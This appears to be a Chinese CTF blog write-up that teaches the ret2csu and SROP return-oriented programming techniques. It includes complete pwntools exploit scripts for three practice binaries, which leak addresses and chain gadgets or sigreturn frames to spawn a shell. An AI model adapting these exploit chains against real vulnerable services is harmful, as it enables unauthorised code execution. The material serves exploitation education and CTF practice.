ret2csu和SROP学习

前言

昨天本来是要找一道简单栈溢出学习patch方法,然而发现题目没想的那么简单;于是转而学习一些比较高级的ROP利用方式,本次讲到的两种手法都是在程序已有的gadget不够用的时候采取的应对措施。
ret2csu就是利用__libc_csu_init()里边(这函数大部分程序都会有)的gadget给寄存器赋值,显然得不开PIE。
SROP就是利用sigreturn系统调用的时候会把栈上的frame(这里用栈溢出构造fake_frame)给弹到寄存器里,来给寄存器赋值。

ret2csu例题

附件下载 提取码:2csu

题目信息

没PIE没canary,got表可写(没用)
checksec
漏洞很清楚就是一个栈溢出;

问题在于泄露地址的gadget不够,没有pop rdx;ret;

漏洞利用

  1. 用ret2csu调用write函数泄露真实地址
  2. 常规ROP调用system("/bin/sh")来getshell

PS:这里看到大部分师傅都用两次ret2csu来做,怎么说呢,感觉可以但没必要(可能是为了加深理解罢)

EXP

from pwn import  *
from LibcSearcher import LibcSearcher
from sys import argv

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

def dbg(cmd=""):
	gdb.attach(p,cmd)

def ret2libc(leak, func, path=''):
	if path == '':
		libc = LibcSearcher(func, leak)
		base = leak - libc.dump(func)
		system = base + libc.dump('system')
		binsh = base + libc.dump('str_bin_sh')
	else:
		libc = ELF(path)
		base = leak - libc.sym[func]
		system = base + libc.sym['system']
		binsh = base + libc.search('/bin/sh').next()
	return (system, binsh)

def ret2csu(gadget1,gadget2,rbx,rbp,r12,r13,r14,r15,last):
	# gadget1: add rsp,0x8......
	# gadget2: mov rdx,r15......
	# last: last ret function, like main_addr
	# rbx = 0
	# rbp = 1
	# r12 = function_got
	# r13 = edi = 0
	# r14 = rsi = second paragram
	# r15 = rdx = thrid paragram
	payload = p64(gadget1)+p64(0)+p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
	payload += p64(gadget2)+'A'*0x38+p64(last)
	return payload

context.log_level = 'DEBUG'
context.terminal = ['tmux', 'splitw', '-h']
binary = './level5'
context.binary = binary
elf = ELF(binary,checksec=False)

def pwn(argv):
	global p
	global libc
	if(len(argv)==1):
		p = process(binary)
		libc = elf.libc
	else:
		ip, port = "1.2.3.4:5678".split(":")
		p = remote(ip, port)
		libc = ELF("./libc-2.27.so")
	# system("/bin/sh")		
	pop_rdi_ret = 0x4005f3
	gadget1 = 0x4005e6
	gadget2 = 0x4005d0
	write_got = elf.got['write']
	main_addr = 0x400558

	payload = 'A'*0x88+ret2csu(gadget1,gadget2,0,1,write_got,1,write_got,8,pop_rdi_ret)+p64(1)+p64(main_addr)
	sl(payload)
	ru('\n')
	write_addr = uu64(r(6))
	leak('write_addr',write_addr)
	sys_addr,binsh = ret2libc(write_addr,'write','/lib/x86_64-linux-gnu/libc.so.6')
	leak('system',sys_addr)
	leak('binsh',binsh)

	payload = 'A'*0x88+p64(pop_rdi_ret)+p64(binsh)+p64(sys_addr)
	sl(payload)
	itr()


if __name__ == "__main__":
	pwn(sys.argv)
	

SROP例题

附件下载 提取码:srop

题目信息

只开了栈不可执行。
checksec
整个程序只有一小段汇编代码,看一下是调用的read函数,从键盘获取输入0x400字节,存到rsp上;注意到这个start函数没有push rbp,rsp上存的就是它的返回地址。
ida

漏洞利用

  1. 泄露出stack的地址;
  2. 利用SROP让rsp指向泄露的stack的地址;
  3. 利用start向stack中写入"/bin/sh"并计算它的栈地址;
  4. 利用SROP调用execve系统调用。

EXP

from pwn import  *
from LibcSearcher import LibcSearcher
from sys import argv

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

def dbg(cmd=""):
	gdb.attach(p,cmd)

def ret2libc(leak, func, path=''):
	if path == '':
		libc = LibcSearcher(func, leak)
		base = leak - libc.dump(func)
		system = base + libc.dump('system')
		binsh = base + libc.dump('str_bin_sh')
	else:
		libc = ELF(path)
		base = leak - libc.sym[func]
		system = base + libc.sym['system']
		binsh = base + libc.search('/bin/sh').next()
	return (system, binsh)

def ret2csu(gadget1,gadget2,rbx,rbp,r12,r13,r14,r15,last):
	# gadget1: add rsp,0x8......
	# gadget2: mov rdx,r15......
	# last: last ret function, like main_addr
	# rbx = 0
	# rbp = 1
	# r12 = function_got
	# r13 = 0
	# r14 = rsi = second paragram
	# r15 = rdx = thrid paragram
	payload = p64(gadget1)+p64(0)+p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
	payload += p64(gadget2)+'A'*0x38+p64(last)
	return payload

# context.log_level = 'DEBUG'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
binary = './smallest'
context.binary = binary
elf = ELF(binary,checksec=False)

def pwn(argv):
	global p
	global libc
	if(len(argv)==1):
		p = process(binary)
		libc = elf.libc
	else:
		ip, port = "1.2.3.4:5678".split(":")
		p = remote(ip, port)
		libc = ELF("./libc-2.27.so")

	# get some static arg
	sys_ret = 0x4000be
	start = 0x4000b0
	# leak stack_addr
	s(p64(start)*3)
	s('\xb3')
	r(8)
	stack_addr = uu64(r(6))
	leak('stack',stack_addr)
	# make rsp point to stack_addr
	read = SigreturnFrame()
	read.rax = constants.SYS_read
	read.rdi = 0
	read.rsi = stack_addr
	read.rdx = 0x400
	read.rsp = stack_addr
	read.rip = sys_ret
	payload = p64(start)+p64(sys_ret)+str(read)
	s(payload)
	payload = payload[8:8+15]
	s(payload)
	# execve to get shell
	execve = SigreturnFrame()
	execve.rax = constants.SYS_execve
	execve.rdi = stack_addr + 0x110
	execve.rsi = 0
	execve.rdx = 0
	execve.rsp = stack_addr
	execve.rip = sys_ret
	payload = p64(start)+p64(sys_ret)+str(execve)
	print(hex(len(payload)))
	payload = payload + (0x110-len(payload))*'\x00'+'/bin/sh\x00'
	s(payload)
	payload = payload[8:8+15]
	s(payload)
	# dbg()
	itr()
if __name__ == "__main__":
	pwn(sys.argv)
	

PS:后面SROP的payload会发现前面都带一个p64(start),这个是用来设置RAX的值为0xF来调用sigreturn用的;再次输入的时候注意和原来的payload对应。

图解

只写了怎么泄露的栈地址,画不下了,后面同理。
leak stack address

ciscn_2019_s_3

附件下载 提取码:sket

题目信息

没canary没PIE

同样少了gadget来直接ROP

这里可以采用两种解法,一种是ret2csu,另一种是SROP(个人倾向SROP,比较直接)

EXP1 ret2csu

from pwn import  *
from LibcSearcher import LibcSearcher
from sys import argv

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

# context.log_level = 'DEBUG'
context.terminal = ['tmux', 'splitw', '-h']
binary = './pwn'
context.binary = binary
elf = ELF(binary,checksec=False)

def dbg(cmd=""):
	gdb.attach(p,cmd)

def ret2libc(leak, func, path=''):
	if path == '':
		libc = LibcSearcher(func, leak)
		base = leak - libc.dump(func)
		system = base + libc.dump('system')
		binsh = base + libc.dump('str_bin_sh')
	else:
		libc = ELF(path)
		base = leak - libc.sym[func]
		system = base + libc.sym['system']
		binsh = base + libc.search('/bin/sh').next()
	return (system, binsh)

def pwn(argv):
	global p
	global libc
	if(len(argv)==1):
		p = process(binary)
		libc = elf.libc
	else:
		ip, port = "node3.buuoj.cn:29964".split(":")
		p = remote(ip, port)
		# libc = ELF("./libc-2.27.so")
	
	# execve('/bin/sh',0,0)
	# rax = 59
	# rdi = binsh
	# rsi = rdx = 0
	# syscall

	mov_rax_59_ret = 0x4004e2
	pop_rdi_ret = 0x4005a3
	syscall_ret = 0x400517
	main_addr = 0x40051D

	gadget1 = 0x400580
	# 400580:       4c 89 ea                mov    rdx,r13
	# 400583:       4c 89 f6                mov    rsi,r14
	# 400586:       44 89 ff                mov    edi,r15d
	# 400589:       41 ff 14 dc             call   QWORD PTR [r12+rbx*8]
	# 40058d:       48 83 c3 01             add    rbx,0x1
	# 400591:       48 39 eb                cmp    rbx,rbp
	# 400594:       75 ea                   jne    400580 <__libc_csu_init+0x40>
	# 400596:       48 83 c4 08             add    rsp,0x8
	gadget2 = 0x40059a
	# 40059a:       5b                      pop    rbx
	# 40059b:       5d                      pop    rbp
	# 40059c:       41 5c                   pop    r12
	# 40059e:       41 5d                   pop    r13
	# 4005a0:       41 5e                   pop    r14
	# 4005a2:       41 5f                   pop    r15
	# 4005a4:       c3                      ret

	payload1 = 'A'*0x10+p64(main_addr)
	sl(payload1)
	r(0x20)
	stack_addr = uu64(r(0x6))
	leak('stack',stack_addr)
	binsh = stack_addr - 0x138
	mov_rax_59_ret_addr = binsh + 0x10
	leak('mov_rax_59_ret_addr',mov_rax_59_ret_addr)
	gadget1_addr = binsh+0x50

	payload2 = '/bin/sh\x00'*2+p64(mov_rax_59_ret)+p64(gadget2)
	payload2 += p64(0)+p64(1)+p64(mov_rax_59_ret_addr)+p64(0)+p64(0)+p64(0)
	payload2 += p64(gadget1)
	payload2 += 'A'*0x38+p64(pop_rdi_ret)+p64(binsh)+p64(syscall_ret)
	# dbg()
	sl(payload2)
	sleep(1)
	# sl('cat /flag')
	# ru('f')
	# flag = 'f'+ru('\n',drop=True)
	# print(flag)
	itr()

if __name__ == "__main__":
	pwn(sys.argv)
	

EXP2 SROP

from pwn import *

io=process('./pwn')
context.binary='./pwn'

main=0x00040051d
mov_rax_15=0x4004DA
sys=0x400517

pl1='/bin/sh\x00'*2+p64(main)
io.send(pl1)
io.recv(0x20)
sh=u64(io.recv(8))-0x138
print(hex(sh))

frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = sh
frame.rsi = 0
frame.rdx = 0
frame.rip = sys

pl1='A'*16+p64(mov_rax_15)+p64(sys)+str(frame)
pl2='/bin/sh\x00'*2+p64(mov_rax_15)+p64(sys)+str(frame)
io.send(pl2)

io.interactive()    

小结

当gadgets不够的时候,可以利用ret2csu和SROP执行系统调用。

posted @ 2021-06-02 20:00  Jasper_sec  阅读(306)  评论(0编辑  收藏  举报